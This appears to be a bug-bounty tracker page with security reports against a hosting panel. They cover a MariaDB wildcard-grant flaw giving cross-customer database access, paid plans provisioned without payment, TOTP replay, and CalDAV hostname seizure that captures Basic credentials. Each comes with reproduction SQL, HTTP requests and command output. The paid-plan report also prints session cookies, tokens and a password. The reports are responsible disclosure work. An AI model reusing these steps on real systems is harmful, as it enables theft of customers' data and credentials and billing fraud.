SELECT * FROM zzr1sticky0921_vic.secrets
```

returned:

```
ERROR 1142 SELECT command denied
```

before the wildcard database existed.

After the wildcard database existed, the same query returned the victim's row.

Nothing about network position changed.

Only the grant changed.

I also ran the shell control on the node myself, documented below.

I explicitly do NOT claim network reach to port 3306 as part of this finding.

Reachability is irrelevant and conceded.

The finding is the grant.

—

VULNERABLE INSTANCES

```
POST https://admin.alwaysdata.com/database/add/?type=mysql

Field: "name"
```

The resulting GRANT is issued on:

```
mysql-<account>.alwaysdata.net
```

Observed instance:

```
185.31.41.41
mysql21.paris1
11.4.13-MariaDB
```

Affects MySQL and MariaDB only.

PostgreSQL and RabbitMQ are not affected. See the scope note under Recommendation.

—

STEPS TO REPRODUCE

Total cost: EUR 0.

Two accounts owned by two different users with no permission grant between them.

All times UTC, 2026-09-23.

PART 1. THE WILDCARD MECHANISM, INSIDE A SINGLE ACCOUNT

This isolates the cause.

1. On account vk7research, create database vk7research_zzv1 and set the account's database user permission on it to NONE.

 Set a password on database user vk7research (ID 2046733).

2. Connect to:

 ```
 mysql-vk7research.alwaysdata.net
 ```
 as vk7research and record the baseline:
 ```
 SELECT VERSION(), @@hostname, CURRENT_USER()
 ```
 Returns:
 ```
 ('11.4.13-MariaDB', 'mysql21', 'vk7research@%')
 ```
 SHOW DATABASES returns information_schema only, so the zzv1 database is NOT visible.
 SHOW GRANTS returns:
 ```
 GRANT USAGE ON *.*
 ```
 Therefore, there is no database grant at all.

3. Create ONE more database named:

 ```
 vk7research_____
 ```
 This is the account prefix plus five underscores.
 It is 16 characters long, the same length as vk7research_zzv1.
 Set its permission to FULL.

4. Reconnect with the SAME credentials and repeat the SAME queries.

 SHOW DATABASES returns:
 ```
 information_schema
 vk7research_____
 vk7research_zzv1
 ```
 SHOW GRANTS returns:
 ```
 GRANT USAGE ON *.*
 GRANT ALL PRIVILEGES ON `vk7research_____`.* TO `vk7research`@`%` WITH GRANT OPTION
 ```
 There is still NO grant mentioning vk7research_zzv1.
 Nevertheless, it is now visible and writable.

PART 2. THE SAME FLAW ACROSS TWO CUSTOMERS

This demonstrates the actual impact.

5. VICTIM

 As user 489840 ([vk7research+l6@alwaysdata.net](mailto:vk7research+l6@alwaysdata.net)) on account zzr1sticky0921 (ID 501073), create:
 ```
 zzr1sticky0921_vic
 ```
 The database is 18 characters long.
 Plant a canary row and confirm that it is present as the owner.

6. ATTACKER

 As a DIFFERENT user (489835), register a free account named:
 ```
 zzr1
 ```
 This is a strict prefix of the victim's account name.
 Self-service signup costs EUR 0 and requires no approval.
 Set a password on its database user.

7. BASELINE AS THE ATTACKER

 Before doing anything else, establish the control:
 ```
 SELECT CURRENT_USER()
 ```
 returns:
 ```
 ('zzr1@%',)
 SHOW DATABASES
 ```
 returns:
 ```
 information_schema
 ```
 Therefore, the victim's database is not visible.
 ```
 SHOW GRANTS
 ```
 returns:
 ```
 GRANT USAGE ON *.*
 ```
 Attempting:
 ```
 SELECT * FROM zzr1sticky0921_vic.secrets
 ```
 returns:
 ```
 ERROR 1142 SELECT command denied to user 'zzr1'@'...' for table
 `zzr1sticky0921_vic`.`secrets`
 ```

8. As the attacker, create ONE database named:

 ```
 zzr1______________
 ```
 This is zzr1 plus fourteen underscores.
 It is 18 characters long, matching the victim's database name length.
 Set its permission to FULL.

9. Reconnect as the attacker with the SAME credentials and repeat the SAME queries.

 The victim's data is returned.
 The full transcript is included in the Proof of Concept below.

10. WRITE CONFIRMED FROM THE VICTIM'S SIDE

  Reconnect as the victim's own database user:
  ```
  zzr1sticky0921
  ```
  SELECT returns BOTH rows, including the row inserted by the attacker.
  The write therefore landed in the victim's database. It is not an artifact of the attacker's session.

PART 3. THE TWO IMPACT CLAIMS

These were demonstrated rather than inferred, from 08:05Z to 08:10Z, using my own accounts.

11. DROP

  With database vk7research_zzq3 created at permission NONE and one wildcard sibling created with FULL permission, using only the wildcard grant, CREATE TABLE, INSERT, and DROP TABLE all succeed on a database the grant does not name.
  Destruction is real, not an inference from the words ALL PRIVILEGES.

12. PERSISTENCE VIA WITH GRANT OPTION

  The attacker issues an explicit grant naming the other database and then deletes their own wildcard database.
  The explicit grant REMAINS.
  Access is retained.
  The attacker CANNOT revoke it again.
  It cleared only when the database itself was dropped.
  In a real attack, this means the victim would have to destroy their own data or the provider would have to clean mysql.db directly.

—

PROOF OF CONCEPT

All output below is verbatim.

ATTACKER BASELINE, BEFORE THE WILDCARD DATABASE EXISTS, 07:14Z

```
SELECT CURRENT_USER()

  ('zzr1@%',)

SHOW DATABASES

  (('information_schema',),)

SHOW GRANTS

  GRANT USAGE ON *.* TO `zzr1`@`%` IDENTIFIED BY PASSWORD '*0023...'

SELECT * FROM zzr1sticky0921_vic.secrets

  ERROR 1142 SELECT command denied to user 'zzr1'@'117.255.15.131'
  for table `zzr1sticky0921_vic`.`secrets`

```

ATTACKER CREATES ONE DATABASE NAMED zzr1, THEN RECONNECTS, 07:16Z ```
SHOW GRANTS
GRANT USAGE ON *.* TO `zzr1`@`%` … GRANT ALL PRIVILEGES ON `zzr1
`.* TO `zzr1`@`%` WITH GRANT OPTION

SHOW DATABASES

  (('information_schema',), ('zzr1______________',), ('zzr1sticky0921_vic',))

SELECT * FROM zzr1sticky0921_vic.secrets

  ((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),)

SHOW TABLES IN zzr1sticky0921_vic

  (('secrets',),)

INSERT INTO zzr1sticky0921_vic.secrets VALUES (2,'ATTACKER-WROTE-THIS')

  OK

```

VICTIM READS BACK THE ATTACKER'S WRITE WITH ITS OWN CREDENTIALS, 07:20Z

```
SELECT * FROM zzr1sticky0921_vic.secrets

  ((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),
   (2, 'ATTACKER-WROTE-THIS'))

```

DROP THROUGH THE WILDCARD GRANT ALONE, 08:07Z

```
SHOW GRANTS

  GRANT USAGE ON *.* ...
  GRANT ALL PRIVILEGES ON `vk7research_____`.* ...
  (no grant names vk7research_zzq3)

CREATE TABLE vk7research_zzq3.t1 (i INT)

  OK

INSERT INTO vk7research_zzq3.t1 VALUES (1)

  OK

DROP TABLE vk7research_zzq3.t1

  OK

SHOW TABLES IN vk7research_zzq3

  empty

```

PERSISTENCE VIA WITH GRANT OPTION, 08:08Z TO 08:10Z

```
GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`

  OK

(delete the WILDCARD database through the panel)

SHOW GRANTS

  GRANT USAGE ON *.* ...
  GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`

SHOW DATABASES

  (('information_schema',), ('vk7research_zzq3',))

CREATE TABLE vk7research_zzq3.t2 (i INT)

  OK

DROP TABLE vk7research_zzq3.t2

  OK

REVOKE ALL PRIVILEGES ON `vk7research_zzq3`.* FROM `vk7research`@`%`

  ERROR 1044 Access denied for user 'vk7research'@'%'
  to database 'vk7research_zzq3'

```

SHELL CONTROL ON THE SHARED NODE, RUN BY ME, 08:12Z

```
id

  uid=548819(vk7research) gid=502763(vk7research)

hostname

  ssh2

ls -ld /home/zzr1sticky0921

  drwxrwx--T 5 root zzr1sticky0921

ls /home/zzr1sticky0921

  Permission denied

ls -d /var/lib/mysql

  No such file or directory, the datadir is not on this node

mysql -h mysql-vk7research… -e 'SHOW DATABASES'
with no credentials

  ERROR 1045 Access denied for user 'vk7research'@'2a00:b6e0:1:50:1::1'

ls -la ~/.my.cnf

  No such file or directory, no credential is planted

```

The shell therefore cannot reach another account's data through the filesystem or database without credentials.

NAME VALIDATOR CONTROLS

These were run so I would not overstate the reach.

```
vk7research%

  rejected, "Enter a valid value", "must start with: vk7research_"

vk7research_%

  rejected, same

vk7research\_x

  rejected, same

vk7research ACCEPTED
``` Only the underscore is usable, which is what bounds the attack to a length match. — IMPACT Any person can register a free Alwaysdata account, choose a name that is a prefix of a target customer's account name, create a handful of databases whose names are that prefix followed by underscores of each plausible length, and thereby obtain SELECT, INSERT, UPDATE, DELETE, and DROP access to that customer's MySQL databases. That means the following: FULL DISCLOSURE OF ANOTHER CUSTOMER'S APPLICATION DATA An attacker can read user tables, password hashes, session tables, personal data, orders, messages, and anything else stored by the victim's application. SILENT MODIFICATION An attacker can insert an administrator row into a victim's CMS user table and take over the victim's application, or alter financial or business records. DESTRUCTION I demonstrated this rather than inferring it from the words ALL PRIVILEGES. Through a wildcard grant alone, CREATE TABLE, INSERT, and DROP TABLE all succeeded on a database that the grant does not name. PERSISTENCE I demonstrated this end to end. The grant carries WITH GRANT OPTION, so the attacker can issue themselves an EXPLICIT grant naming the victim's database. That grant survives deletion of the attacker's own wildcard database. Access is retained afterwards, and the attacker cannot revoke it again. It is also invisible to the control plane, which continues to show the target database with its normal user count. SILENT FROM THE VICTIM'S SIDE It is silent on the victim's side as far as I could observe. Nothing in the panel represents the attacker's access. Throughout the test, the target database continued to display its normal user count, and the attacker's self-minted explicit grant appeared nowhere in the interface. I did not have a way to inspect the victim's own SHOW GRANTS for a grant issued to a DIFFERENT user, so I limit the claim to what I observed. ACCOUNT PREFIX RELATIONSHIPS I make no claim about how many existing accounts already stand in a prefix relationship to one another. Establishing that would have required harvesting your customer list, which I did not do. It is worth checking internally, but the finding does not rest on it. The attacker manufactures the relationship, and I demonstrated exactly that by registering zzr1 specifically because zzr1sticky0921 already existed. — RECOMMENDATION 1. ESCAPE WILDCARD CHARACTERS WHEN BUILDING THE GRANT In the database component of a GRANT, the underscore must be written _ and the percent sign must be written % to be treated literally. This is a one-line fix in the statement builder and is the actual defect. Apply the same treatment anywhere else a customer-controlled identifier is interpolated into a GRANT or REVOKE. 2. REJECT LIKE METACHARACTERS AS A SECOND LAYER Reject the underscore and any other LIKE metacharacter in the customer-supplied portion of the database name. The mandatory <account>_ separator can be added by the server rather than typed by the customer, so the customer-supplied remainder never needs to contain an underscore. 3. AUDIT EXISTING GRANTS This is the urgent part. Any wildcard grant already issued is live right now. Enumerate mysql.db for rows whose Db column contains an unescaped underscore that resolves to more than one existing schema, and identify any grant whose pattern matches a database owned by a different account. 4. AUDIT GRANTS CREATED THROUGH WITH GRANT OPTION Because the grants carry WITH GRANT OPTION, also look for explicit grants that a customer may already have minted for themselves on another customer's database. Those grants will survive the fix above because they name the victim's database literally. Removing WITH GRANT OPTION from the provisioner's statement is also worth doing because customers do not need it. — SCOPE NOTE PostgreSQL and RabbitMQ are NOT affected. PostgreSQL privileges are recorded per object OID rather than by pattern, and I confirmed that a foreign database is refused with: ```
permission denied for database
``` with 0 of 1709 databases having a PUBLIC CONNECT ACL. RabbitMQ vhost permissions are exact-match, and a foreign vhost is refused. The panel's own object authorization is also correct. Foreign database IDs return 404, byte-identical to a nonexistent ID. The defect is specifically the MySQL GRANT statement builder. — DISCLOSURE AND CLEANUP Every object created for this report has been deleted, and I verified the result at the database engine rather than merely in the panel. Both vk7research and zzr1sticky0921 now return only: ```
information_schema
``` for SHOW DATABASES and only: ```
GRANT USAGE ON *.*
``` for SHOW GRANTS. No residual wildcard grant remains. Deleted: ```
vk7research_zzv1
vk7research
_
vk7research_zzq3
zzr1sticky0921_vic
zzr1
```

and one name-validator probe database.

The account zzr1 (ID 501523) was also deleted.

The canary table was destroyed with its database.

The single row inserted into the victim database was deleted immediately after the read-back in Step 10, and that database was then dropped entirely.

No third-party customer's data was ever read, written, or deleted at any point.

Both the attacker and the victim were accounts I own.

Passwords were set on two of my own database users during testing. I am NOT printing them in this report because these tasks are published and the credentials could accept connections from the internet.

They are in the private annex sent alongside this report and can be rotated or disregarded.

ADDITIONAL DISCLOSURE

A parallel test briefly renamed account 500763 from vk7research to webmaster and back, approximately 06:52Z to 07:03Z, overlapping the original Part 1 window.

Part 2, the cross-customer proof, was unaffected. It ran from 07:10Z to 07:20Z on two entirely different accounts after that rename had been reverted.

I nevertheless re-ran Part 1 from scratch at 07:50Z on a clean account state, and it reproduced identically.

That rename also left:

```
webmaster.alwaysdata.net
```

resolving to:

```
185.31.41.11
```

on multiple public resolvers while no account holds the name webmaster.

I could not remove that record.

I believe that record is mine.

TEST WINDOW

2026-09-23 06:40Z to 08:15Z UTC

 490  Paid Hosting Plan Provisioned Without Payment  Closed23.09.2026 Task Description

Severity: Critical
CVSS Score 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)

Description
Any authenticated user on the free tier can provision paid hosting accounts (Small, Medium, Large, X-Large) without providing payment information. The account creation form at /admin/account/add/ accepts paid product IDs and provisions full resources immediately.
Additionally, existing accounts can be upgraded to any tier or downgraded to Free via the account edit form, all without payment validation.

Impact
• Resource Theft: Attacker gets up to 500GB disk, 8GB RAM, 8 CPU cores for free (X-Large plan worth €1,800/year)
• Infrastructure Abuse: SSH access auto-provisioned, cron jobs available for crypto mining/spam/C2
• Financial Loss: Each plan costs real money; mass abuse causes significant revenue loss
• Bidirectional Manipulation: Accounts can be downgraded to Free to evade billing, then upgraded again
• Repeat Exploitation: Single user account can create multiple paid accounts

Steps to Reproduce
Step 1: Login to admin.alwaysdata.com with a free-tier account
Step 2: Navigate to /admin/account/add/
Step 3: Submit the following POST request to create a paid account without payment:
• Request — Create Paid Account (Small Plan):

POST /admin/account/add/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU
Referer: https://admin.alwaysdata.com/admin/account/add/
Origin: https://admin.alwaysdata.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 164
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&name=paidtest2&password=TestPass123!&product=2008&period=1y&loc
ation=datacenter_3&contract_28=on&contract_36=on

HTTP/1.1 302 Found
Location: /subscription/
Server: nginx
Product IDs: 2008=Small (50GB/1GB/1CPU), 2009=Medium, 2010=Large, 2011=X-Large (500GB/8GB/8CPU), 2012=Free

Step 4: Verify the subscription page confirms the paid account:
GET /subscription/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o

HTTP/1.1 200 OK
Object: paidtest2 | Product: Small (50GB disk, 1GB RAM, 1 CPU) | Renewal: Oct. 22, 2026
Object: xltest | Product: X-Large (500GB disk, 8GB RAM, 8 CPU) | Renewal: Oct. 22, 2026 | €1,800.00
Step 5: Upgrade existing account to X-Large without payment:

POST /admin/account/501195/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU
Referer: https://admin.alwaysdata.com/admin/account/501195/
Content-Length: 65
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&product=2011

HTTP/1.1 302 Found
Location: /subscription/
product=2011 upgrades to X-Large (€1,800/year) — no payment required

Recommendation
Implement server-side payment verification before provisioning any non-free product.
Validate that:
(1) A valid payment method is on file,
(2) Sufficient balance exists or payment is authorized,
(3) The requested product change is within the customer's billing tier.

488TOTP Missing Single Use EnforcementAssigned Task Description

Hi,

I identified a vulnerability in the admin panel's TOTP implementation that allows the same OTP to be successfully reused multiple times within the server's approximately 90-second acceptance window.

I understand that similar TOTP-related reports have previously been submitted and closed as duplicate or invalid. In particular, in report  FS#204  – “Expired TOTP Code Accepted – Broken 2FA Validation,” the following explanation was provided:

“We do accept OTP that are slightly expired to accommodate for network or human latency, as suggested in RFC 6238 Section 5.2.”

I agree that accepting a TOTP from a previous time step can be legitimate. Authenticator applications typically generate a new TOTP every 30 seconds, while the server may allow a limited tolerance window to account for network latency, clock differences, or transmission delays.

RFC 6238 Section 5.2 explicitly acknowledges this requirement:

“A validation system SHOULD typically set a policy for an acceptable OTP transmission delay window for validation.”

It further explains that the validator may compare the submitted OTP against previous timestamps within the permitted transmission-delay window. Therefore, I understand the reasoning behind allowing an OTP to remain acceptable beyond its exact 30-second generation window.

However, the vulnerability I am reporting is not simply that an older TOTP remains valid within the configured acceptance window. The issue is that after a TOTP has already been successfully used for authentication, the exact same TOTP can be reused multiple times to perform additional successful logins and establish new authenticated sessions.

RFC 6238 Section 5.2 explicitly addresses this behavior:

“The verifier MUST NOT accept the second attempt of the OTP after the successful validation”

The RFC explains that this requirement ensures one-time-only use of an OTP.

The same OTP can continue producing successful authentications until it eventually falls outside the server's acceptance window. This is different from accepting an unused OTP from a previous time step to accommodate latency.

Therefore, I am not disputing the server's use of a tolerance window. The specific issue being reported is the lack of single-use enforcement after successful TOTP validation.

Once a TOTP has successfully authenticated a user, subsequent authentication attempts using that same TOTP should be rejected, regardless of whether the code is still within the server's configured time tolerance.

I therefore request that the finding be reviewed specifically as a TOTP replay / missing single-use enforcement vulnerability, rather than solely as an expired-TOTP validation issue, and that server-side replay protection be implemented in accordance with RFC 6238 Section 5.2. I am not attaching any PoC or evidence because this issue is well know by you team but still if you require PoC let know I have a prepared script and screenshots to demonstrate it.

 485  Cross-Customer Account Takeover via CalDAV Hostname Sei ...Closed21.09.2026 Task Description

VULNERABILITY INFORMATION:

Name of Vulnerability: An incomplete service-prefix blocklist on the account "name" field lets one customer claim the DNS record of another customer's CalDAV or CardDAV service in the shared alwaysdata.net zone.

The user-facing site address field refuses such a hostname, but the auto-provisioner that creates an account's default address does not run that check. As a result, the DNS record is silently reassigned and the victim's client can deliver its HTTP Basic credential to the attacker over Alwaysdata's own wildcard certificate.

Vulnerability Category:
Access Control Issues / Broken authentication & session management / Exposure of Sensitive Information, per the qualifying list on your bug bounty page.

Description:

An account's name is used to generate that account's per-service alwaysdata.net zone.

You already recognise the risk and maintain a blocklist of service prefixes for the name field, but it covers only 8 of the 10 prefixes your own interface documents.

"imap-" and "carddav-" are missing, along with the other omitted service prefixes, and the relevant services authenticate with a plaintext password on every connection.

Creating a free account called:

caldav-<victim>

therefore takes over:

caldav-<victim>.alwaysdata.net

which is the CalDAV endpoint your own panel tells customer <victim> to configure.

The DNS record moves to the attacker's web node, and your wildcard certificate for the hostname remains valid. A request carrying an Authorization: Basic header for that hostname therefore lands in the attacker's own web root.

That password is the account's service password described at /admin/account/add/ as being used for default users such as FTP, MySQL and SSH.

Two code paths disagree, and that disagreement is the defect.

The user-facing site address field correctly refuses a hostname the attacker does not own:

caldav-vk7victim.alwaysdata.net

is rejected with:

"The domain name alwaysdata.net does not belong to you"

and:

vk7victim.alwaysdata.net

is rejected with:

"delegated to the vk7victim account".

The auto-provisioner's DEFAULT address on account creation does not run that check.

Only the path a customer cannot see is blind.

SCOPE NOTE, established by testing rather than assumed:

Of the four forgotten prefixes, only "caldav-" and "carddav-" are exploitable this way because those services run over the ports the attacker's web node serves.

I checked the other prefixes rather than claiming them:

```
185.31.41.11 the attacker's web node 443 OPEN 993 closed 110 closed
185.31.40.62 the real IMAP and POP host 993 OPEN 995 OPEN 143 OPEN 443 closed
185.31.41.92 the real CalDAV host 443 OPEN 993 closed
```

Seizing imap-<victim> or pop-<victim> therefore points the victim's mail hostname at a host where the relevant mail ports are closed. That disrupts the victim's mail rather than capturing credentials.

Because mail service is outside the programme's scope, I make NO claim about those two prefixes beyond the blocklist gap itself.

Everything below is specific to caldav- and carddav-.

Vulnerable Instances:

POST https://admin.alwaysdata.com/admin/account/add/ field "name"

POST https://admin.alwaysdata.com/account/<id>/rename/
field "name"

POST https://www.alwaysdata.com/en/register/ free self-service signup, no captcha

The DNS auto-provisioner creates an account's default alwaysdata.net zone.

Steps to Reproduce:

Total cost: EUR 0, approximately four minutes.

Every account involved is one I own, and the "victim" record belongs to my own second account.

1. The blocklist gap.

 Each row below is a single POST to /admin/account/add/ showing the validator's verdict on the name field.
 ssh-vk7victim         -> "This name contains an invalid prefix."
 ftp-vk7victim         -> "This name contains an invalid prefix."
 smtp-vk7victim        -> "This name contains an invalid prefix."
 webdav-vk7victim      -> "This name contains an invalid prefix."
 mysql-vk7victim       -> "This name contains an invalid prefix."
 postgresql-vk7victim  -> "This name contains an invalid prefix."
 rabbitmq-vk7victim    -> "This name contains an invalid prefix."
 services-vk7victim    -> "This name contains an invalid prefix."
 imap-vk7victim        -> ACCEPTED, no prefix error
 pop-vk7victim         -> ACCEPTED, no prefix error
 caldav-vk7victim      -> ACCEPTED, no prefix error
 carddav-vk7victim     -> ACCEPTED, no prefix error
 The charset validator is separate and works correctly. Invalid characters are rejected, while alphabetic, numeric and hyphen characters are accepted.
 Uniqueness is case-insensitive, so VK7RESEARCH is refused.

2. Obtain a second free account.

 /admin/account/add/ refuses a second free product for one user, so I used the public signup, which is free and has no captcha.
 POST https://www.alwaysdata.com/en/register/
 email=<ours>[+x@alwaysdata.net](mailto:+x@alwaysdata.net) & password=... & privacy_policy=on
  1. > HTTP 302

Location: /login/?user_id=<dec>&expiration=<ts>&token=<epoch>-<hmac>

 Plus addressing on my own platform mailbox works, so the validation message can be received.
 imap-<ours>.alwaysdata.net:993 with the service password.
 I completed:
 /user/validate/?user_id=<b36>&token=...
 and then POST /login/.

3. Record the victim's CalDAV record BEFORE the attack.

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.92

the shared Radicale CalDAV host

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net AAAA
  1. > 2a00:b6e0:1:90:8::1

4. Create the colliding account.

 One request, with no warning or confirmation:
 POST https://admin.alwaysdata.com/admin/account/add/
 Referer: https://admin.alwaysdata.com/admin/account/add/
 csrfmiddlewaretoken=<tok>&name=caldav-vk7victim&password=<pw>&product=2012&period=1mo
 &location=datacenter_3&contract_28=on&contract_36=on
  1. > HTTP 302

Location: /subscription/

 /subscription/ then lists:
 caldav-vk7victim | Free (1GB disk, 256M...)
 account 500765, subscription 520987
 with a default site 1078599 and subdomain object 1351172 for:
 caldav-vk7victim.alwaysdata.net

5. The victim's record has moved.

 I queried the authoritative nameserver so this is not a local cache artefact.
 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

the shared web node serving the attacker's new account

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 2a00:b6e0:1:20:23::1
 $ dig +short @1.1.1.1 caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.11

6. The edge supplies valid TLS for the stolen name, so the victim's client sees no warning.

 $ openssl s_client -connect caldav-vk7victim.alwaysdata.net:443 
 -servername caldav-vk7victim.alwaysdata.net
  1. > subject=CN=*.alwaysdata.net
  2. > issuer=C=US, O=Let's Encrypt, CN=YE1
  3. > X509v3 Subject Alternative Name:

DNS:*.alwaysdata.net, DNS:alwaysdata.net

  1. > notBefore=Sep 15 06:30:39 2026 GMT
  2. > notAfter=Dec 14 06:30:38 2026 GMT

7. The credential channel terminates in the attacker's web root.

 The genuine service at that hostname uses HTTP Basic, so the client transmits the credential on requests to the hostname.
 $ curl -D- https://caldav-vk7research.alwaysdata.net/
  1. > HTTP/1.0 401
  2. > www-authenticate: Basic realm="Radicale - Password Required"
  3. > server: WSGIServer/0.2 CPython/3.11.2
 A one-line index.php in the attacker account's web root echoes the Authorization header.
 Simulating the client your own documentation tells account vk7victim to configure:
 $ curl -H "User-Agent: DAVx5/4.3.1 okhttp/4.12" 
 -u 'vk7victim:<placeholder>' 
 https://caldav-vk7victim.alwaysdata.net/index.php
  1. > HTTP/2 200
  2. > via: 2.0 alproxy
  3. > served by account: caldav-vk7victim on host http22
  4. > Host header: caldav-vk7victim.alwaysdata.net
  5. > Authorization header received: Basic dms3dmljdGltOi4uLg==
 The value in this request is a PLACEHOLDER, not the account's real password.
 The important point is that the credential channel for the victim's hostname terminates in an unrelated EUR 0 account's web root, inside a TLS session that Alwaysdata itself certified.

8. Additional defect found while remediating: releasing the name does not restore the DNS record.

 POST /account/500765/rename/
 name=zztestl6dns
  1. > HTTP 302
 $ dig +short @dns1.alwaysdata.com caldav-zztestl6dns.alwaysdata.net
  1. > 185.31.41.92

the new name provisioned correctly

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

STILL pointing at the attacker's node

 Therefore, the hijack outlives the account name that caused it.
 A no-op rename did not restore it either.
 This is the same stale binding class you have already fixed and paid several times over (FS#139, FS#146, FS#167, FS#217, FS#221, FS#294).

9. Controls that rule out alternative explanations.

 a. The records are real per-account entries, not a wildcard.
 $ dig +short @dns1.alwaysdata.com zzznosuchaccount9912.alwaysdata.net
  1. > no matching account record
 b. Sibling records are untouched throughout, so the reassignment is targeted rather than global:
 caldav-vk7research.alwaysdata.net   A -> 185.31.41.92
 carddav-vk7research.alwaysdata.net  A -> 185.31.41.92
 imap-vk7research.alwaysdata.net     A -> 185.31.40.62
 $ curl -o /dev/null -w '%{http_code} %{remote_ip}' 
 https://caldav-vk7research.alwaysdata.net/
  1. > 302 185.31.41.92
 c. The prefix check is a pure prefix match, independent of whether the suffix names a real account:
 ssh-nosuchacct9912  -> blocked
 pop-nosuchacct9912  -> accepted
 d. The user-facing address field DOES enforce ownership, which demonstrates that the two paths disagree rather than there being no check at all.
 Submitting each of the following on a site I own returned HTTP 200 with a field error and persisted nothing:
 vk7victim.alwaysdata.net
 caldav-vk7victim.alwaysdata.net
 imap-vk7victim.alwaysdata.net
 ssh-vk7victim.alwaysdata.net
 The control that proves my request shape was correct:
 vk7research.alwaysdata.net/orchctl
 returned HTTP 302 in the identical request and was persisted and read back.

Proof of Concept:

Steps 1 to 9 reproduce end to end from curl, dig and openssl with an ordinary free account.

The DNS value change in step 5 was confirmed twice from two independent resolvers, while the sibling records in step 9b remained unchanged during the same sweep.

WHAT THIS REPORT DOES NOT CLAIM, stated plainly:

* I did not point a real third party's calendar client at the seized hostname.

The Authorization header shown in step 7 carries a placeholder rather than any real password. I did not need a real secret to prove where the credential channel terminates, and I did not capture one.

* I did not use a captured credential against FTP, MySQL or SSH.

The reason the service password matters is your own help text at /admin/account/add/, which states that the password is used for default users. I did not need to exercise those services to establish the credential reuse risk.

* The remaining step is standard DAV client behaviour rather than speculation.

A client configured for caldav-<victim>.alwaysdata.net resolves that hostname, reaches the attacker-controlled host over valid TLS, and transmits Basic credentials because that is what the genuine endpoint requires.
Nothing about the victim's configuration changes and nothing prompts them.
I did not execute this against a real victim, so you can weigh the demonstrated credential channel directly.

* I did not claim imap- or pop- seizure as credential capture. See the scope note above.

* The one artefact I cannot repair myself is in step 8:

caldav-vk7victim.alwaysdata.net
still resolves to:
185.31.41.11
as of this report.
Nothing of mine is served there. The record belongs to vk7victim, which is an account I own, so no customer of yours is affected.
Please restore it.

Test window:

2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.

Requests were sequential and paced. Account creation was limited to the single extra account required for the test.

Impact:

With one free signup, an attacker can take over the CalDAV or CardDAV hostname of any named account, and account names are public information under your own rules.

The victim's client can then send the account's service password to the attacker over valid TLS, with no certificate warning and no user action beyond its normal scheduled sync.

Because that password is shared with FTP, MySQL and SSH according to your own account creation documentation, successful capture would potentially extend beyond the calendar or contacts service to the victim's broader hosting account.

The affected account could therefore expose its website, databases, mail and files, depending on which services use the shared service password.

The victim also loses the calendar or contacts service itself because their hostname no longer points to the genuine service.

On the two exclusions in your rules that could be misread onto this finding:

First, the customer site exclusion does not apply. The alwaysdata.net hostnames are linked to customer accounts, and this is not a flaw in a customer's site or anything a customer configured.

The provisioning code operates in a DNS zone controlled by Alwaysdata, and the record is reassigned from one customer to another by your own account creation path. No customer action is involved on either side.

Second, the fact that account names may be discoverable in many different ways does not change the finding.

I am not reporting account name disclosure. The account name is simply the input that selects which victim's DNS record gets reassigned. If name disclosure were eliminated, the provisioning flaw would still exist and would still be reachable by anyone who knows one account name.

On duplication with  FS#348 :

That report, "Subdomain Squatting on alwaysdata.net Platform Namespace", was closed Invalid and concerned claiming unused labels.

This finding takes an existing hostname that already resolves for a live customer and reassigns its DNS record.

Step 5 demonstrates the value changing from the genuine CalDAV host to the attacker's web node, while four sibling records remain unchanged as controls in step 9b.

The defect is therefore in the provisioner's collision handling, not in the availability of an unused name.

What this achieves that a customer's own SSH shell cannot:

It allows a customer to rewrite a DNS record in a zone they do not own and redirect another customer's service hostname to infrastructure controlled by the attacker.

CVSS v3.1:

9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

AV:N because every step is performed through network requests.

AC:L because the sequence is deterministic and the only required input is a name the attacker already knows.

PR:L because a free account is required.

UI:N because no victim interaction is required to perform the DNS reassignment. The victim's client sends the credential on its own next scheduled sync, without prompting the victim.

S:C because the vulnerable component is the account provisioning system, while the impacted components are the shared DNS zone and another customer's account.

C:H because the captured credential is the account's service password.

I:H and A:H because the shared password is used across FTP, MySQL and SSH, and because the victim loses the CalDAV/CardDAV service itself.

If you prefer to treat the client's next reconnection as user interaction, the score would be lower.

The demonstrated impact remains Critical under that interpretation, and I am content for you to settle the final scoring based on the facts above.

Recommendation:

1. Complete the prefix blocklist.

 Add all omitted service prefixes, including:
 "imap-"
 "pop-"
 "pop3-"
 "caldav-"
 "carddav-"
 Better, derive the validation list from the same service-prefix list used by the provisioner so the two cannot drift apart again.

2. Apply the ownership and collision check in the auto-provisioner, not only in the user-facing address form.

 A default address that would collide with an existing record in the shared zone should be rejected using the same ownership check that control 9d shows you already implement on the other path.

3. Reject any account name that would collide with an existing generated record in the zone rather than relying solely on a static prefix list.

4. Restore a released hostname to its rightful owner when a colliding account is renamed or deleted, as demonstrated in step 8.

5. Consider not sharing one password across web, FTP, SSH and MySQL.

 Separating service credentials would ensure that capturing one service credential does not automatically provide access to the broader hosting account.
